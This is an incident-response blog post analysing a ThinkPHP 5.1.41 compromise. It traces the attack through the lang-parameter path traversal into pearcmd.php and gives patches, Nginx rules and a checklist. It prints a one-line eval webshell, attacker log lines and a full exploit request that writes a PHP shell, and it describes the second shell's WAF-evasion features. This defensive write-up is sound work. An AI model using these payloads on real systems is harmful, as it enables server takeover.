ThinkPHP 5.1.41 Multilingual RCE Vulnerability Exploitation: From Breach to Root Cause Analysis and Remediation

📅 2026-05-14 01:45:07 👤 DouWen Editorial 💬 7 条评论 👁 10

On April 8, 2026, during routine security inspections of multiple ThinkPHP sites on the server, three malicious files were discovered in the public directory of the thinkphp5.1 site:

FileTypeRisk Level
9.phpOne-liner Webshell🔴 Critical
q9.phpFile Manager Webshell🔴 Critical
5.phpAdminer Database Management Tool🟡 High

The 9.php file consists of only one line of code:

<?php @eval(base64_decode($_POST[1]));echo 8;?>

The q9.php file is a complete file manager Webshell of approximately 400 lines with the following capabilities:

  • open_basedir bypass (through mkdir + chdir + ini_set chain)
  • XOR encrypted communication (to evade WAF detection)
  • File browsing, editing, uploading, downloading, deletion, and permission modification
  • Self-destruct functionality

This is not the work of a script kiddie, but a mature penetration tool.

I. Source Tracing: How Did the Attacker Get In

Clues in the Logs

In the ThinkPHP runtime error logs, critical evidence was discovered:

[2026-03-25T17:16:39+09:00] 134.122.173.185 GET 8.213.212.93:88/?lang=../../../../../usr/local/php/pearcmd

[2026-03-25T17:16:45+09:00] 134.122.173.185 GET 8.213.212.93:88/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/safedog()+IbLLhEABVr.log

Attacker IP 134.122.173.185 launched a ThinkPHP multi-language file inclusion attack on March 25th, exploiting pearcmd.php to write a Webshell.

Vulnerability Principle

This is a classic ThinkPHP 5 vulnerability (CVE-2022-38352), with the attack chain as follows:

Step One: Multi-language Parameter Injection

ThinkPHP 5.1's Lang::detect() method obtains the language parameter from $_GET['lang']:

// thinkphp/library/think/Lang.php
public function detect()
{
    $langSet = '';

    if (isset($_GET[$this->langDetectVar])) {
        // language variable set in url
        $langSet = strtolower($_GET[$this->langDetectVar]);
    }
    // ...

    if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
        $this->range = $langSet ?: $this->range;
    }

    return $this->range;
}

The problem is: no filtering is applied to $langSet. When allowLangList is empty (the default case), any value is accepted.

Step Two: Path Traversal → File Inclusion

App::loadLangPack() concatenates the language parameter into the file path:

protected function loadLangPack()
{
    if ($this->config('app.lang_switch_on')) {
        $this->lang->detect();
    }

    $this->request->setLangset($this->lang->range());

    // Load language pack — user input is concatenated directly here
    $this->lang->load([
        $this->thinkPath . 'lang/' . $this->request->langset() . '.php',
        $this->appPath . 'lang/' . $this->request->langset() . '.php',
    ]);
}

The Lang::load() method loads the file using include:

public function load($file, $range = '')
{
    foreach ($file as $_file) {
        if (is_file($_file)) {
            $_lang = include $_file;  // Dangerous! Directly includes user-controllable path
        }
    }
}

When the attacker passes ?lang=../../../../../usr/local/php/pearcmd, the actual loaded path becomes:

thinkphp/lang/../../../../../usr/local/php/pearcmd.php
→ /usr/local/php/pearcmd.php

Step Three: Exploiting pearcmd to Write Webshell

pearcmd.php is PHP's built-in PEAR package manager command-line tool. When included, it parses $_SERVER['argv'] (from URL query string), allowing attackers to use the config-create command to write arbitrary content to a file:

GET /?+config-create+/<?php+eval($_POST[1]);?>+/var/www/html/shell.php&lang=../../../../../usr/local/lib/php/pearcmd

This is how 9.php and q9.php were written.

Triggering Conditions

This vulnerability requires all of the following conditions to be met simultaneously:

  1. ✅ ThinkPHP 5.x (in this case, 5.1.41 LTS)
  2. lang_switch_on configuration set to true
  3. allow_lang_list is empty (default value)
  4. pearcmd.php exists on the server (present in most PHP installations)

All 5 TP5 sites on our server met these conditions.

II. Impact Scope

A comprehensive scan of all sites on the server was performed:

ThinkPHP 5.1.41 sites (vulnerable to RCE):
├── hotel.dev      ← Compromised, Webshell found
├── us1us1.dev     ← Vulnerable, no signs of compromise
├── us2us2.dev     ← Vulnerable, no signs of compromise
├── us3us3.dev     ← Vulnerable, no signs of compromise
└── us5us5.dev     ← Vulnerable, no signs of compromise

ThinkPHP 3.2.3 sites (not affected by this vulnerability, but have other issues):
├── dream.dev
├── blue.kuai
├── henry.dev
├── langdang.dev
├── wannuo.dev
├── coin.dev
└── /www/wwwroot/dream

hotel.dev was likely selected because its app_debug was enabled, exposing framework version and path information through error messages.

III. Remediation Plan

Fix One: Patch Lang.php (Core Fix)

Add path traversal filtering to the detect() method:

public function detect()
{
    $langSet = '';

    if (isset($_GET[$this->langDetectVar])) {
        $langSet = strtolower($_GET[$this->langDetectVar]);
    } elseif (isset($_COOKIE[$this->langCookieVar])) {
        $langSet = strtolower($_COOKIE[$this->langCookieVar]);
    } elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
        preg_match('/^([a-z\d\-]+)/i', $_SERVER['HTTP_ACCEPT_LANGUAGE'], $matches);
        if (isset($this->acceptLanguage[$langSet])) {
            $langSet = $this->acceptLanguage[$langSet];
        }
    }

    // ========== Security Fix ==========
    // Filter path traversal characters
    $langSet = str_replace(["..", "/", "\\"], "", $langSet);
    // Whitelist: only allow letters, numbers, underscores, and hyphens
    if (!preg_match("/^[a-zA-Z0-9_\-]+$/", $langSet)) {
        $langSet = "";
    }
    // ==============================

    if (empty($this->allowLangList) || in_array($langSet, $this->allowLangList)) {
        $this->range = $langSet ?: $this->range;
    }

    return $this->range;
}

This patch provides two layers of protection:

  1. str_replace removes path traversal characters like ../, /, \
  2. Regex whitelist ensures only valid language identifiers (such as zh-cn, en-us) can pass through

Fix Two: Nginx Layer Interception (Defense in Depth)

Add security.conf in Nginx's extension directory:

# Block ThinkPHP multi-language RCE attacks
if ($args ~* "lang=.*\.\./") {
    return 403;
}

# Block direct access to .php files (except index.php)
location ~* ^/(?!index\.php)[^/]+\.php$ {
    return 403;
}

The second rule is particularly important — even if attackers write PHP files through other means, they cannot directly access and execute them via URL.

Fix Three: Disable Debug Mode

// config/app.php
'app_debug' => false,

Debug mode exposes complete error stacks, framework versions, and file paths — essentially providing attackers with a roadmap.

Fix Four: Disable Debug Backdoors

The ThinkPHP.php file in TP3 sites contains a debug backdoor:

// Before fix — anyone accessing ?debug=tw_debug can enable debugging
if (isset($_GET['debug']) && $_GET['debug'] === 'tw_debug') {
    setcookie('ADBUG','tw_debug',time()+ 60*3600);
    exit('ok');
}

// After fix
if (false) { // DISABLED: debug backdoor removed

IV. Verification

Verify that attacks are blocked after applying fixes:

# Test path traversal — should return 403
$ curl -s -o /dev/null -w "%{http_code}" "http://127.0.0.1:99/?lang=../../../../../etc/passwd"
403

# Test direct PHP file access — should return 403
$ curl -s -o /dev/null -w "%{http_code}" "http://example.com/test.php"
403

V. Lessons Learned

Why the ThinkPHP Site Was Compromised While Others Weren't

  1. app_debug = true exposed framework information
  2. The domain hotel.stacam.org is resolved through Cloudflare, but Cloudflare's free WAF tier does not block this type of attack
  3. Attackers may have been performing bulk scans of ThinkPHP sites

Defense Checklist

  • [ ] Upgrade ThinkPHP to the latest version (fundamental solution)
  • [X] Patch the detect() method in Lang.php
  • [X] Prevent direct access to non-entry PHP files at Nginx layer
  • [X] Disable debug mode in all production environments
  • [X] Remove debug backdoors
  • [X] Check and clean up existing Webshells
  • [X] Check for system-level backdoors (crontab, processes, /tmp)
  • [ ] Configure allow_lang_list whitelist to only allow actually used languages
  • [ ] Delete pearcmd.php from the server (if PEAR is not needed)
  • [ ] Perform regular security scans

Summary

ThinkPHP's multi-language feature is enabled by default with no filtering, which combined with pearcmd.php can achieve unauthenticated RCE. If you are still using ThinkPHP 5.x, go check your lang_switch_on configuration now.

📝 本文来自抖文 www.douwen.me ,转载请保留出处。

💬 评论 (7)

a
admin_security 2026-05-13 05:11 回复

This is exactly the kind of detailed post we need. Clear timeline, organized findings, and actionable remediation steps. Bookmarking this for our team.|

C
CuriousDevOps 2026-05-14 01:42 回复

Wait, April 8, 2026? Isn't that in the future? Or is this a typo and should be 2024 or 2025?|

P
PHPveteran 2026-05-13 15:46 回复

I've been burned by ThinkPHP vulnerabilities before. The multilingual RCE vector is nasty because most developers don't consider language parameters as attack surfaces. Great catch on documenting the exploitation chain from initial breach through root cause.|

S
Sarah_Chen 2026-05-13 03:08 回复

Honestly felt a chill reading about those webshells being discovered. How long do you think they were active before detection? The file manager shell especially suggests persistent access.|

J
JuniorDev2023 2026-05-13 14:57 回复

Can someone ELI5 why a "one-liner webshell" is more dangerous than a file manager one? Isn't a file manager shell more powerful since you can browse and modify files?|

S
SecurityAudit_Pro 2026-05-13 14:42 回复

The risk level indicators and table format make this immediately useful for incident reports. One suggestion though—would be helpful to see the actual CVE reference and CVSS score. Still, excellent breakdown of the vulnerability mechanics and remediation approach.|

M
Marcus_Infrastructure 2026-05-13 12:46 回复

This hits home. We're still running 5.1 on a legacy application and now I'm genuinely worried. Article clearly explains the vulnerability but I need to know: is there a patch available or do we need to migrate entirely?|